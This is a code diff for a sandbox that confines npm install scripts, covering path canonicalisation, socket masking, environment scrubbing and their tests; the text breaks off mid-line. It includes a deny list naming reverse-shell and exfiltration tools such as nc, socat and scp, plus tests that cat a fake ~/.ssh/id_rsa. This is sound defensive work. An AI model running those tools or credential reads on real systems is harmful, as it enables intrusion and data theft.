b/packages/sandbox/src/run-paths.ts @@ -0,0 +1,38 @@ +import { realpathSync } from "node:fs"; +import { resolve } from "node:path"; + +/** realpath when the path exists; otherwise the lexical path (a missing cwd then fails later, as before). */ +function realIfExists(p: string): string { + try { + return realpathSync(p); + } catch { + return p; + } +} + +/** + * Canonicalize the `cwd` / `projectRoot` a caller hands the sandbox. A relative or dotted value + * (`.`, `..`) would otherwise reach the profile / mount list verbatim and could expand to + * `$HOME` or an ancestor, and a symlink (e.g. to `/`) would pass a lexical guard, so both are + * resolved with `realpathSync` when they exist. `projectRoot` defaults to `cwd` and is resolved + * against it; a root of `/` would re-allow every read and exec, so it falls back to `cwd`. + * Runtime entry points only: the pure generators (`generateProfile`, `generateBwrapArgs`) stay + * lexical and never touch the filesystem. + */ +export function normalizeRunPaths(o: { cwd: string; projectRoot?: string }): { cwd: string; projectRoot: string } { + const cwd = realIfExists(resolve(o.cwd)); + assertCwdNotRoot(cwd); + const projectRoot = realIfExists(resolve(cwd, o.projectRoot ?? cwd)); + return { cwd, projectRoot: projectRoot === "/" ? cwd : projectRoot }; +} + +/** + * `cwd` is always in the write floor, so a working directory of `/` would open writes + * everywhere. Refuse it with the backends' unsupported-setup error rather than run (called by + * both entry points and by both generators, so no profile or argv is ever produced for it). + */ +export function assertCwdNotRoot(cwd: string): void { + if (resolve(cwd) === "/") { + throw new Error("sandbox enforcement unavailable: the working directory resolves to / (it would put the filesystem root in the write floor) — run from the project directory"); + } +} diff --git a/packages/sandbox/src/runner.ts b/packages/sandbox/src/runner.ts index 61905e8..41718c1 100644 --- a/packages/sandbox/src/runner.ts +++ b/packages/sandbox/src/runner.ts @@ -2,6 +2,7 @@ import { readFileSync } from "node:fs"; import { join } from "node:path"; import type { Sandbox } from "./types.js"; import { scrubEnv } from "./env.js"; +import { withPerRunDevdir } from "./devdir.js"; import type { Capability } from "@git-agentic/sentinel-core"; export interface ScriptResult { @@ -34,7 +35,13 @@ export function runLifecycleScripts(opts: { for (const hook of LIFECYCLE) { const command = scripts[hook]; if (!command) continue; - const r = opts.sandbox.run(command, { cwd: opts.packageDir, approved, homeDir: opts.homeDir, env, projectRoot: opts.projectRoot }); + const gyp = withPerRunDevdir(env, approved, opts.homeDir); + let r; + try { + r = opts.sandbox.run(command, { cwd: opts.packageDir, approved: gyp.approved, homeDir: opts.homeDir, env: gyp.env, projectRoot: opts.projectRoot }); + } finally { + gyp.cleanup(); + } results.push({ hook, command, exitCode: r.exitCode, stderr: r.stderr }); } return { results, failed: results.some((r) => r.exitCode !== 0) }; diff --git a/packages/sandbox/src/seatbelt.ts b/packages/sandbox/src/seatbelt.ts index 7ed1131..e2c96da 100644 --- a/packages/sandbox/src/seatbelt.ts +++ b/packages/sandbox/src/seatbelt.ts @@ -1,13 +1,18 @@ import { spawnSync } from "node:child_process"; -import { mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; -import { join } from "node:path"; import type { Capability } from "@git-agentic/sentinel-core"; import type { Sandbox, SandboxResult } from "./types.js"; import { generateProfile } from "./profile.js"; import { computeDenySet } from "./deny-set.js"; import { classifyViolation } from "./violation.js"; import { nodeInstallPrefix } from "./read-allow.js"; +import { normalizeRunPaths } from "./run-paths.js"; + +/** `sandbox-exec` argv: the profile is passed INLINE (`-p`). A profile file would sit in the + * write floor (tmpdir), where a lingering sandboxed process could rewrite the next run's profile. */ +export function sandboxExecArgv(profile: string, tail: string[]): string[] { + return ["-p", profile, ...tail]; +} /** Enforces an SBPL profile via macOS `sandbox-exec`. Fails closed on non-darwin. */ export class SeatbeltSandbox implements Sandbox { @@ -21,47 +26,41 @@ export class SeatbeltSandbox implements Sandbox { /** Shared by `run` and `runArgv`: build the profile, invoke `sandbox-exec` with the given * argv tail (either `/bin/sh -c cmd` or `file ...args`), and classify the result. */ - private execWithTail(tail: string[], opts: { cwd: string; approved: Capability[]; homeDir: string; env?: NodeJS.ProcessEnv; projectRoot?: string }): SandboxResult { + private execWithTail(tail: string[], rawOpts: { cwd: string; approved: Capability[]; homeDir: string; env?: NodeJS.ProcessEnv; projectRoot?: string }): SandboxResult { if (process.platform !== "darwin") { throw new Error(`sandbox enforcement unavailable on ${process.platform} (macOS Seatbelt required)`); } + const opts = { ...rawOpts, ...normalizeRunPaths(rawOpts) }; const profile = generateProfile(opts.approved, { homeDir: opts.homeDir, cwd: opts.cwd, tmpDir: tmpdir(), nodePrefix: nodeInstallPrefix(process.execPath), projectRoot: opts.projectRoot ?? opts.cwd, }); - const dir = mkdtempSync(join(tmpdir(), "sentinel-sb-")); - const profileFile = join(dir, "profile.sb"); - writeFileSync(profileFile, profile); - try { - const res = spawnSync("/usr/bin/sandbox-exec", ["-f", profileFile, ...tail], { - cwd: opts.cwd, - env: opts.env ?? process.env, - encoding: "utf8", - maxBuffer: 16 * 1024 * 1024, - }); - if (res.error) { - return { - exitCode: 127, - stdout: "", - stderr: res.error.message, - }; - } - const result: SandboxResult = { - exitCode: res.status ?? (res.signal ? 1 : 0), - stdout: res.stdout ?? "", - stderr: res.stderr ?? "", + const res = spawnSync("/usr/bin/sandbox-exec", sandboxExecArgv(profile, tail), { + cwd: opts.cwd, + env: opts.env ?? process.env, + encoding: "utf8", + maxBuffer: 16 * 1024 * 1024, + }); + if (res.error) { + return { + exitCode: 127, + stdout: "", + stderr: res.error.message, }; - const denySet = computeDenySet(opts.approved, { - homeDir: opts.homeDir, platform: "darwin", - nodePrefix: nodeInstallPrefix(process.execPath), - projectRoot: opts.projectRoot ?? opts.cwd, - cwd: opts.cwd, tmpDir: tmpdir(), - }); - const violation = classifyViolation(result, denySet); - return violation ? { ...result, violation } : result; - } finally { - rmSync(dir, { recursive: true, force: true }); } + const result: SandboxResult = { + exitCode: res.status ?? (res.signal ? 1 : 0), + stdout: res.stdout ?? "", + stderr: res.stderr ?? "", + }; + const denySet = computeDenySet(opts.approved, { + homeDir: opts.homeDir, platform: "darwin", + nodePrefix: nodeInstallPrefix(process.execPath), + projectRoot: opts.projectRoot ?? opts.cwd, + cwd: opts.cwd, tmpDir: tmpdir(), + }); + const violation = classifyViolation(result, denySet); + return violation ? { ...result, violation } : result; } } diff --git a/packages/sandbox/src/sensitive-executables.ts b/packages/sandbox/src/sensitive-executables.ts index 9e2c3c3..aaa80af 100644 --- a/packages/sandbox/src/sensitive-executables.ts +++ b/packages/sandbox/src/sensitive-executables.ts @@ -10,6 +10,12 @@ export const SENSITIVE_EXECUTABLES: readonly string[] = [ "nc", "ncat", "socat", // raw sockets / reverse shells "osascript", // AppleScript automation (keychain prompts, UI scripting) "scp", "sftp", // file exfil over ssh + // launchd / LaunchServices escapes: each hands work to a process OUTSIDE the sandbox + // (a launchd job, an app launch, a Shortcuts/Automator workflow) that runs unconfined. + "launchctl", "open", "shortcuts", "automator", + // Linux equivalents: hand work to systemd --user / the session or system bus / a container + // runtime, which runs outside the sandbox. + "systemd-run", "busctl", "dbus-send", "gdbus", ]; /** Bin dirs (all inside the exec floor) where a sensitive executable may reside. */ diff --git a/packages/sandbox/src/violation.ts b/packages/sandbox/src/violation.ts index d01909e..e27bc59 100644 --- a/packages/sandbox/src/violation.ts +++ b/packages/sandbox/src/violation.ts @@ -94,6 +94,24 @@ function excerpt(line: string): string { * still contained by the sandbox. */ export function classifyViolation(result: SandboxResult, denySet: DenySet): SandboxViolation | null { + const v = classify(result, denySet); + if (!v) return null; + // Attribution above ran on the raw text; what is REPORTED (to a terminal, the proxy, an MCP + // client) must not carry attacker-chosen escape sequences from a package's stderr. + return { + ...v, + target: v.target === null ? null : stripControl(v.target), + deniedResource: v.deniedResource === null ? null : stripControl(v.deniedResource), + evidence: { ...v.evidence, stderrExcerpt: stripControl(v.evidence.stderrExcerpt) }, + }; +} + +/** Remove C0 (incl. ESC, NUL, CR, LF, TAB) and C1 control characters, and DEL. */ +function stripControl(s: string): string { + return s.replace(/[\u0000-\u001f\u007f-\u009f]/g, ""); +} + +function classify(result: SandboxResult, denySet: DenySet): SandboxViolation | null { if (result.exitCode === 0) return null; const stderr = result.stderr ?? ""; if (!PERM_SIGNATURE.test(stderr)) return null; diff --git a/packages/sandbox/src/write-floor.ts b/packages/sandbox/src/write-floor.ts index 3359b24..90983e6 100644 --- a/packages/sandbox/src/write-floor.ts +++ b/packages/sandbox/src/write-floor.ts @@ -5,6 +5,9 @@ * configurable: widening it silently reopens the persistence class. Per-package * needs are met by approved `filesystem:` Grants instead. * + * The node-gyp header caches are deliberately NOT here (readable only, via the read-allow + * list): a shared writable cache is a cross-package poisoning channel. See `withPerRunDevdir`. + * * `/dev` is here because a blanket `file-write*` deny otherwise blocks * `2>/dev/null` and other device writes that ordinary scripts rely on. */ @@ -14,8 +17,6 @@ export function writeAllowFloor(opts: { cwd: string; tmpDir: string }): string[] opts.tmpDir, // os.tmpdir() — build tools stage here "/tmp", // firmlink → /private/tmp on macOS (caller canonicalizes) "/dev", // /dev/null, /dev/stdout, ttys - "~/.node-gyp", // node-gyp downloaded headers - "~/.cache/node-gyp", // node-gyp cache (XDG) "~/.npm/_logs", // npm lifecycle logs ]; } diff --git a/packages/sandbox/test/bubblewrap.test.ts b/packages/sandbox/test/bubblewrap.test.ts index 12e6f13..fface4a 100644 --- a/packages/sandbox/test/bubblewrap.test.ts +++ b/packages/sandbox/test/bubblewrap.test.ts @@ -31,6 +31,14 @@ test("Linux CI must actually run bwrap enforcement (no silent skip)", { assert.ok(bwrapWorks, "bwrap cannot create user namespaces in CI — the Linux enforcement tests would silently skip. Check the ci.yml userns mitigation (kernel.apparmor_restrict_unprivileged_userns)."); }); +// Diagnostics for an intermittent CI failure: print bwrap's own error whenever a run exits non-zero. +const realRun = BubblewrapSandbox.prototype.run; +BubblewrapSandbox.prototype.run = function (this: BubblewrapSandbox, ...a: Parameters) { + const r = realRun.apply(this, a); + if (r.exitCode !== 0 && /bwrap:/.test(r.stderr ?? "")) console.error(`[bwrap-diag] exit ${r.exitCode}: ${r.stderr}`); + return r; +}; + describe("BubblewrapSandbox enforcement", { skip }, () => { test("a denied credential read leaves the secret unobtained (EFFECT)", () => { const home = realpathSync(mkdtempSync(join(tmpdir(), "bw-read-"))); @@ -85,8 +93,8 @@ describe("BubblewrapSandbox enforcement", { skip }, () => { assert.ok(existsSync(out), "positive control: node must have written the output file in the first (no-approval) run"); assert.ok(!(existsSync(out) ? readFileSync(out, "utf8") : "").includes("TOPSECRET-ENV"), "the credential env-var must not have reached the script"); const approved: Capability[] = [{ kind: "env", target: "SECRET_API_KEY", evidence: [] }]; - new BubblewrapSandbox().run(cmd, { cwd: work, approved, homeDir: home, env: scrubEnv({ ...process.env, SECRET_API_KEY: "TOPSECRET-ENV" }, approved) }); - assert.ok(readFileSync(out, "utf8").includes("TOPSECRET-ENV"), "an approved env var is passed through"); + const r2 = new BubblewrapSandbox().run(cmd, { cwd: work, approved, homeDir: home, env: scrubEnv({ ...process.env, SECRET_API_KEY: "TOPSECRET-ENV" }, approved) }); + assert.ok(readFileSync(out, "utf8").includes("TOPSECRET-ENV"), `an approved env var is passed through (exit ${r2.exitCode}, stderr: ${r2.stderr})`); }); test("a filesystem approval relaxes the credential read deny (EFFECT)", () => { @@ -96,8 +104,8 @@ describe("BubblewrapSandbox enforcement", { skip }, () => { writeFileSync(join(home, ".ssh", "id_rsa"), "APPROVED-SECRET"); const out = join(work, "out.txt"); // cwd (persists); the approved read of $HOME/.ssh is re-allowed const approved: Capability[] = [{ kind: "filesystem", target: ".ssh", evidence: [] }]; - new BubblewrapSandbox().run(`cat ${join(home, ".ssh", "id_rsa")} > ${out} 2>/dev/null || true`, { cwd: work, approved, homeDir: home }); - assert.ok(readFileSync(out, "utf8").includes("APPROVED-SECRET"), "an approved filesystem read must succeed"); + const r = new BubblewrapSandbox().run(`cat ${join(home, ".ssh", "id_rsa")} > ${out} 2>/dev/null || true`, { cwd: work, approved, homeDir: home }); + assert.ok(existsSync(out) && readFileSync(out, "utf8").includes("APPROVED-SECRET"), `an approved filesystem read must succeed (exit ${r.exitCode}, stderr: ${r.stderr})`); }); test("a non-denied path (the Install dir) stays readable and writable inside the sandbox (positive control)", () => { @@ -116,7 +124,7 @@ describe("BubblewrapSandbox enforcement", { skip }, () => { const work = realpathSync(mkdtempSync(join(tmpdir(), "bw-work-"))); const inside = join(work, "build-output.txt"); const r = new BubblewrapSandbox().run(`echo OK > "${inside}"`, { cwd: work, approved: [], homeDir: home }); - assert.equal(r.exitCode, 0); + assert.equal(r.exitCode, 0, `bwrap stderr: ${r.stderr}`); assert.equal(readFileSync(inside, "utf8").trim(), "OK", "a write inside the floor (cwd) must succeed"); }); diff --git a/packages/sandbox/test/bwrap.test.ts b/packages/sandbox/test/bwrap.test.ts index 2d400ad..1b8ce83 100644 --- a/packages/sandbox/test/bwrap.test.ts +++ b/packages/sandbox/test/bwrap.test.ts @@ -70,7 +70,7 @@ describe("generateBwrapArgs — write-deny (Phase 25)", () => { test("the write floor is re-bound read-write (bind-try tolerates missing cache dirs)", () => { const args = generateBwrapArgs([], OPTS2); const rw = [...binds(args, "--bind"), ...binds(args, "--bind-try")]; - for (const p of ["/work/pkg", "/tmp/build", "/home/x/.node-gyp", "/home/x/.npm/_logs"]) { + for (const p of ["/work/pkg", "/tmp/build", "/home/x/.npm/_logs"]) { assert.ok(rw.includes(p), `floor path ${p} must be re-bound rw`); } }); diff --git a/packages/sandbox/test/env.test.ts b/packages/sandbox/test/env.test.ts index cf7c946..4b2fb82 100644 --- a/packages/sandbox/test/env.test.ts +++ b/packages/sandbox/test/env.test.ts @@ -83,3 +83,16 @@ describe("scrubEnv npm narrowing + credential-screen", () => { for (const k of ["npm_config_cache","PATH","npm_package_name"]) assert.ok(!CREDENTIAL_ENV_RE.test(k), k); }); }); + +describe("scrubEnv drops the ambient local-IPC locators", () => { + // Abstract unix sockets stay reachable when network is approved (no netns); these are how a + // script finds the X server, the session bus, the ssh agent and the runtime dir. + test("DISPLAY, DBUS_SESSION_BUS_ADDRESS, SSH_AUTH_SOCK and XDG_RUNTIME_DIR never reach the script", () => { + const out = scrubEnv({ + PATH: "/usr/bin", DISPLAY: ":0", WAYLAND_DISPLAY: "wayland-0", DBUS_SESSION_BUS_ADDRESS: "unix:abstract=/tmp/dbus-x", + SSH_AUTH_SOCK: "/tmp/ssh-x/agent.1", XDG_RUNTIME_DIR: "/run/user/1000", + }, []); + for (const k of ["DISPLAY", "WAYLAND_DISPLAY", "DBUS_SESSION_BUS_ADDRESS", "SSH_AUTH_SOCK", "XDG_RUNTIME_DIR"]) assert.equal(out[k], undefined, k); + assert.equal(out.PATH, "/usr/bin"); + }); +}); diff --git a/packages/sandbox/test/profile.test.ts b/packages/sandbox/test/profile.test.ts index d551b75..8cda288 100644 --- a/packages/sandbox/test/profile.test.ts +++ b/packages/sandbox/test/profile.test.ts @@ -126,14 +126,13 @@ describe("generateProfile — write-deny (Phase 25)", () => { assert.ok(denyIdx !== -1, "blanket write-deny present"); assert.ok(allowIdx > denyIdx, "floor allow comes AFTER the blanket deny (SBPL last-match-wins)"); }); - test("the floor re-allows cwd, temp, /private/tmp, /dev and the node caches", () => { + test("the floor re-allows cwd, temp, /private/tmp, /dev and npm logs (node-gyp caches are read-only: see security-node-gyp.test.ts)", () => { const p = generateProfile([], OPTS); for (const frag of [ `(subpath "/work/pkg")`, `(subpath "/private/var/folders/z/T")`, // tmpDir canonicalized `(subpath "/private/tmp")`, // /tmp canonicalized `(subpath "/dev")`, - `(subpath "/Users/x/.node-gyp")`, `(subpath "/Users/x/.npm/_logs")`, ]) assert.ok(p.includes(frag), `floor must allow ${frag}`); }); diff --git a/packages/sandbox/test/read-allow.test.ts b/packages/sandbox/test/read-allow.test.ts index 85b7147..7f1a96e 100644 --- a/packages/sandbox/test/read-allow.test.ts +++ b/packages/sandbox/test/read-allow.test.ts @@ -30,10 +30,10 @@ describe("nodeInstallPrefix", () => { }); describe("resolveProjectRoot", () => { - test("uses INIT_CWD when it is an absolute path", () => { + test("uses SENTINEL_ROOT when it is an absolute path", () => { assert.equal(resolveProjectRoot("/work/app/node_modules/pkg", "/work/app"), "/work/app"); }); - test("ignores a blank/relative INIT_CWD and walks up to the nearest package.json", () => { + test("ignores a blank/relative SENTINEL_ROOT and walks up to the nearest package.json", () => { const root = mkdtempSync(join(tmpdir(), "pr-")); writeFileSync(join(root, "package.json"), "{}"); const deep = join(root, "node_modules", "pkg", "lib"); @@ -45,8 +45,8 @@ describe("resolveProjectRoot", () => { const bare = mkdtempSync(join(tmpdir(), "bare-")); assert.equal(resolveProjectRoot(bare, undefined), bare); }); - test("does not require the caller to have created any file for the INIT_CWD path", () => { - assert.ok(!existsSync("/nonexistent-x")); // sanity; INIT_CWD is trusted as-is when absolute + test("does not require the caller to have created any file for the SENTINEL_ROOT path", () => { + assert.ok(!existsSync("/nonexistent-x")); // sanity; SENTINEL_ROOT is trusted as-is when absolute assert.equal(resolveProjectRoot("/a/b", "/nonexistent-x"), "/nonexistent-x"); }); }); diff --git a/packages/sandbox/test/security-bwrap-ipc.test.ts b/packages/sandbox/test/security-bwrap-ipc.test.ts new file mode 100644 index 0000000..9b12068 --- /dev/null +++ b/packages/sandbox/test/security-bwrap-ipc.test.ts @@ -0,0 +1,135 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { generateBwrapArgs } from "../src/bwrap.js"; +import { SENSITIVE_EXECUTABLES } from "../src/sensitive-executables.js"; +import type { Capability } from "@git-agentic/sentinel-core"; + +// ARGUMENT tests: they pin the bwrap argv. The kernel effect is only exercisable on Linux CI. + +const net: Capability = { kind: "network", target: "198.51.100.5", evidence: [] }; +const fsCap = (target: string): Capability => ({ kind: "filesystem", target, evidence: [] }); +const OPTS = { homeDir: "/home/x", cwd: "/work/pkg", tmpDir: "/tmp", nodePrefix: "/usr/local", projectRoot: "/work", uid: 1000 }; +const SOCKETS = [ + "/var/run/docker.sock", "/run/docker.sock", "/run/containerd/containerd.sock", + "/run/podman/podman.sock", "/run/crio/crio.sock", "/run/dbus/system_bus_socket", +]; +const X11 = "/tmp/.X11-unix"; +const lists = (dirs: Record) => (p: string) => dirs[p] ?? []; +const exists = (list: string[]) => (p: string) => list.includes(p); +const joined = (a: string[]) => a.join(" "); + +describe("local IPC masks apply with AND without a network approval", () => { + for (const [label, caps] of [["no network", []], ["network approved", [net]]] as const) { + test(`${label}: every existing IPC socket is /dev/null-masked and /run/user/ is a tmpfs`, () => { + const args = generateBwrapArgs([...caps], { ...OPTS, pathExists: exists([...SOCKETS, "/run/user/1000"]) }); + const j = joined(args); + for (const s of ["/run/docker.sock", "/run/containerd/containerd.sock", "/run/podman/podman.sock", "/run/crio/crio.sock", "/run/dbus/system_bus_socket"]) { + assert.ok(j.includes(`--ro-bind /dev/null ${s}`), s); + } + assert.ok(j.includes("--tmpfs /run/user/1000")); + assert.equal(args.includes("--unshare-net"), caps.length === 0); + }); + } + test("every mount is existence-guarded", () => { + const j = joined(generateBwrapArgs([net], { ...OPTS, pathExists: exists([]) })); + for (const s of [...SOCKETS, "/run/user", X11, "/tmp/ssh-"]) assert.ok(!j.includes(s), s); + }); + test("an explicit filesystem grant covering a path lifts only that mask", () => { + const j = joined(generateBwrapArgs([fsCap("/run/docker.sock")], { ...OPTS, pathExists: exists(SOCKETS) })); + assert.ok(!j.includes("--ro-bind /dev/null /run/docker.sock")); + assert.ok(j.includes("--ro-bind /dev/null /run/podman/podman.sock")); + }); + test("a grant covering /run/user/ lifts the tmpfs", () => { + const j = joined(generateBwrapArgs([fsCap("/run/user/1000")], { ...OPTS, pathExists: exists(["/run/user/1000"]) })); + assert.ok(!j.includes("--tmpfs /run/user/1000")); + }); +}); + +describe("/tmp X11 and ssh-agent socket directories", () => { + const opts = (extra: Record = {}) => ({ + ...OPTS, pathExists: exists([X11, "/tmp/ssh-AbC123", "/tmp/ssh-Zz"]), + listDirs: lists({ "/tmp": [".X11-unix", "ssh-AbC123", "ssh-Zz", "other"] }), ...extra, + }); + test("tmpfs over /tmp/.X11-unix and every /tmp/ssh-* directory, and nothing else under /tmp", () => { + const args = generateBwrapArgs([], opts()); + const tmpfs = args.flatMap((a, i) => (a === "--tmpfs" ? [args[i + 1]] : [])); + for (const d of [X11, "/tmp/ssh-AbC123", "/tmp/ssh-Zz"]) assert.ok(tmpfs.includes(d), d); + assert.ok(!tmpfs.includes("/tmp/other")); + }); + test("they come AFTER the /tmp read-write bind (an earlier tmpfs would be overmounted)", () => { + const args = generateBwrapArgs([], opts()); + const bindTmp = args.findIndex((a, i) => a === "--bind-try" && args[i + 1] === "/tmp"); + assert.ok(bindTmp !== -1, "/tmp is rw-bound"); + for (const d of [X11, "/tmp/ssh-AbC123"]) assert.ok(args.lastIndexOf(d) > bindTmp, d); + }); + test("applies with network approved too", () => { + assert.ok(joined(generateBwrapArgs([net], opts())).includes("--tmpfs /tmp/ssh-AbC123")); + }); + test("a work dir under a directory that would be masked FAILS CLOSED (throws), never skips the mask", () => { + for (const dir of ["/tmp/ssh-AbC123/pkg", "/tmp/.X11-unix/x"]) { + assert.throws(() => generateBwrapArgs([], opts({ cwd: dir, projectRoot: "/work" })), /bubblewrap enforcement unavailable.*cwd or project root/s, dir); + assert.throws(() => generateBwrapArgs([], opts({ cwd: "/work/pkg", projectRoot: dir })), /bubblewrap enforcement unavailable/, dir); + } + }); + test("same for a work dir under /run/user/", () => { + assert.throws(() => generateBwrapArgs([net], { ...OPTS, cwd: "/run/user/1000/app", projectRoot: "/run/user/1000/app", pathExists: exists(["/run/user/1000"]) }), /unavailable/); + }); + test("an ABSENT directory or an explicit grant covering it does not throw", () => { + assert.doesNotThrow(() => generateBwrapArgs([], { ...OPTS, cwd: "/tmp/ssh-gone/pkg", projectRoot: "/tmp/ssh-gone/pkg", pathExists: exists([]) })); + assert.doesNotThrow(() => generateBwrapArgs([fsCap("/tmp/ssh-AbC123")], opts({ cwd: "/tmp/ssh-AbC123/pkg", projectRoot: "/tmp/ssh-AbC123/pkg" }))); + }); + test("a filesystem grant covering the directory lifts the mask", () => { + assert.ok(!joined(generateBwrapArgs([fsCap("/tmp/.X11-unix")], opts())).includes("--tmpfs /tmp/.X11-unix")); + }); +}); + +describe("systemd/dbus clients are exec-denied", () => { + test("SENSITIVE_EXECUTABLES lists systemd-run, busctl, dbus-send and gdbus", () => { + for (const c of ["systemd-run", "busctl", "dbus-send", "gdbus"]) assert.ok(SENSITIVE_EXECUTABLES.includes(c), c); + }); + test("bwrap masks them with /dev/null when present", () => { + const present = ["/usr/bin/systemd-run", "/usr/bin/busctl", "/usr/bin/dbus-send", "/usr/bin/gdbus"]; + const j = joined(generateBwrapArgs([], { ...OPTS, pathExists: exists(present) })); + for (const p of present) assert.ok(j.includes(`--ro-bind /dev/null ${p}`), p); + }); +}); + +// On a host where /var/run -> /run, a grant on the real path must not be undone by its alias +// (and vice versa): grants and candidates are compared in RESOLVED space. +describe("grants and IPC mask candidates are compared in resolved space", () => { + const realpath = (p: string) => p.replace(/^\/var\/run(\/|$)/, "/run$1"); + const nulls = (a: string[]) => a.flatMap((x, i) => (x === "--ro-bind" && a[i + 1] === "/dev/null" ? [a[i + 2]] : [])); + const gen = (caps: Capability[], extra: Record = {}) => + generateBwrapArgs(caps, { ...OPTS, realpath, pathExists: exists([...SOCKETS, "/run/user/1000", "/var/run/user/1000", X11]), ...extra }); + + test("no grant: the socket is still masked, once, at its real path", () => { + assert.deepEqual(nulls(gen([])).filter((p) => p.endsWith("docker.sock")), ["/run/docker.sock"]); + }); + test("a grant on the REAL socket produces no /dev/null mask on it (the /var/run alias must not re-mask it)", () => { + const m = nulls(gen([fsCap("/run/docker.sock")])); + assert.ok(!m.some((p) => p.endsWith("docker.sock")), m.join(",")); + assert.ok(m.includes("/run/podman/podman.sock"), "other sockets stay masked"); + }); + test("a grant on the ALIAS path lifts it too", () => { + const m = nulls(gen([fsCap("/var/run/docker.sock")])); + assert.ok(!m.some((p) => p.endsWith("docker.sock")), m.join(",")); + }); + test("the same applies to /run/user/ via its alias", () => { + assert.ok(!joined(gen([fsCap("/run/user/1000")])).includes("--tmpfs /run/user/1000")); + assert.ok(!joined(gen([fsCap("/var/run/user/1000")])).includes("--tmpfs /run/user/1000")); + assert.ok(joined(gen([])).includes("--tmpfs /run/user/1000")); + }); + test("an unrelated grant lifts nothing", () => { + assert.ok(nulls(gen([fsCap("/work/data")])).includes("/run/docker.sock")); + }); +}); + +describe("a grant is never symlink-resolved to lift an IPC mask", () => { + test("a grant on a package-writable symlink that points at /run does not unmask the docker socket", () => { + const realpath = (p: string) => (p === "/work/pkg/x" ? "/run" : p.replace(/^\/var\/run(?=\/|$)/, "/run")); + const args = generateBwrapArgs([fsCap("/work/pkg/x")], { ...OPTS, realpath, pathExists: exists(["/run/docker.sock", "/run/user/1000"]) }); + const j = joined(args); + assert.ok(j.includes("--ro-bind /dev/null /run/docker.sock"), j); + assert.ok(j.includes("--tmpfs /run/user/1000"), j); + }); +}); diff --git a/packages/sandbox/test/security-bwrap-isolation.test.ts b/packages/sandbox/test/security-bwrap-isolation.test.ts new file mode 100644 index 0000000..c3f837e --- /dev/null +++ b/packages/sandbox/test/security-bwrap-isolation.test.ts @@ -0,0 +1,83 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { generateBwrapArgs } from "../src/bwrap.js"; +import type { Capability } from "@git-agentic/sentinel-core"; + +// These are ARGUMENT tests: they pin the bwrap argv. The kernel effect (pid namespace, +// masked sockets) is only exercisable on Linux CI and is NOT verified on this host. + +const net = (target: string): Capability => ({ kind: "network", target, evidence: [] }); +const fsCap = (target: string): Capability => ({ kind: "filesystem", target, evidence: [] }); +const OPTS = { homeDir: "/home/x", cwd: "/work/pkg", tmpDir: "/tmp/build", nodePrefix: "/usr/local", projectRoot: "/work" }; + +/** Every ` ` triple for a 2-arg mount flag. */ +const mounts = (args: string[], flag: string) => + args.flatMap((a, i) => (a === flag ? [[args[i + 1], args[i + 2]]] : [])); + +describe("F8 bwrap separates the pid namespace and session", () => { + test("adds --unshare-pid and --new-session (no --die-with-parent), before --proc /proc", () => { + assert.ok(!generateBwrapArgs([], OPTS).includes("--die-with-parent")); + const args = generateBwrapArgs([], OPTS); + for (const f of ["--unshare-pid", "--new-session"]) { + assert.ok(args.includes(f), `${f} must be present`); + } + assert.ok(args.indexOf("--unshare-pid") < args.indexOf("--proc"), "pid namespace before the /proc mount"); + }); + test("present when network is approved too (not tied to --unshare-net)", () => { + const args = generateBwrapArgs([net("198.51.100.5")], OPTS); + for (const f of ["--unshare-pid", "--new-session"]) assert.ok(args.includes(f), f); + assert.ok(!args.includes("--unshare-net")); + }); +}); + +describe("F9 unix sockets are unreachable without a network approval", () => { + const withFs = (existing: string[], extra: Record = {}) => ({ + ...OPTS, uid: 1000, pathExists: (p: string) => existing.includes(p), ...extra, + }); + + test("masks existing docker sockets with /dev/null and tmpfs-es /run/user/", () => { + const args = generateBwrapArgs([], withFs(["/var/run/docker.sock", "/run/docker.sock", "/run/user/1000"])); + const nulls = mounts(args, "--ro-bind").filter(([s]) => s === "/dev/null").map(([, d]) => d); + assert.ok(nulls.includes("/var/run/docker.sock")); + assert.ok(nulls.includes("/run/docker.sock")); + assert.ok(mounts(args, "--tmpfs").length > 0); + assert.ok(args.join(" ").includes("--tmpfs /run/user/1000")); + }); + test("a /var/run -> /run symlink is resolved so the same socket is masked once", () => { + const realpath = (p: string) => p.replace(/^\/var\/run\//, "/run/"); + const args = generateBwrapArgs([], withFs(["/var/run/docker.sock", "/run/docker.sock"], { realpath })); + const nulls = mounts(args, "--ro-bind").filter(([s, d]) => s === "/dev/null" && d.endsWith("docker.sock")); + assert.deepEqual(nulls.map(([, d]) => d), ["/run/docker.sock"]); + }); + test("every new mount is existence-guarded: nothing is emitted for an absent path", () => { + const args = generateBwrapArgs([], withFs([])); + assert.ok(!args.join(" ").includes("docker.sock")); + assert.ok(!args.join(" ").includes("/run/user")); + }); + test("a network approval means the network, not local IPC: the masks are STILL applied", () => { + const args = generateBwrapArgs([net("198.51.100.5")], withFs(["/var/run/docker.sock", "/run/docker.sock", "/run/user/1000"])); + assert.ok(args.join(" ").includes("--ro-bind /dev/null /run/docker.sock")); + assert.ok(args.join(" ").includes("--tmpfs /run/user/1000")); + assert.ok(!args.includes("--unshare-net")); + }); + test("an approved filesystem grant covering the socket lifts the mask", () => { + const args = generateBwrapArgs([fsCap("/run/docker.sock")], withFs(["/run/docker.sock"])); + assert.ok(!args.join(" ").includes("--ro-bind /dev/null /run/docker.sock")); + }); + test("mask mounts come AFTER the root bind and BEFORE --unshare-net", () => { + const args = generateBwrapArgs([], withFs(["/run/docker.sock"])); + const mask = args.indexOf("/run/docker.sock"); + assert.ok(mask > args.indexOf("--ro-bind") && mask < args.indexOf("--unshare-net")); + }); +}); + +describe("project root / must not re-allow everything", () => { + test("bwrap: a projectRoot of / is not re-bound inside the emptied $HOME", () => { + const args = generateBwrapArgs([], { ...OPTS, projectRoot: "/" }); + const reBound = [...mounts(args, "--ro-bind-try"), ...mounts(args, "--ro-bind")] + .filter(([s, d]) => s === "/" && d === "/"); + // exactly the initial `--ro-bind / /`, and no `--ro-bind-try / /` after the tmpfs home + assert.equal(mounts(args, "--ro-bind-try").filter(([s]) => s === "/").length, 0); + assert.equal(reBound.length, 1); + }); +}); diff --git a/packages/sandbox/test/security-env-violation.test.ts b/packages/sandbox/test/security-env-violation.test.ts new file mode 100644 index 0000000..74bd2ee --- /dev/null +++ b/packages/sandbox/test/security-env-violation.test.ts @@ -0,0 +1,38 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { scrubEnv } from "../src/env.js"; +import { classifyViolation } from 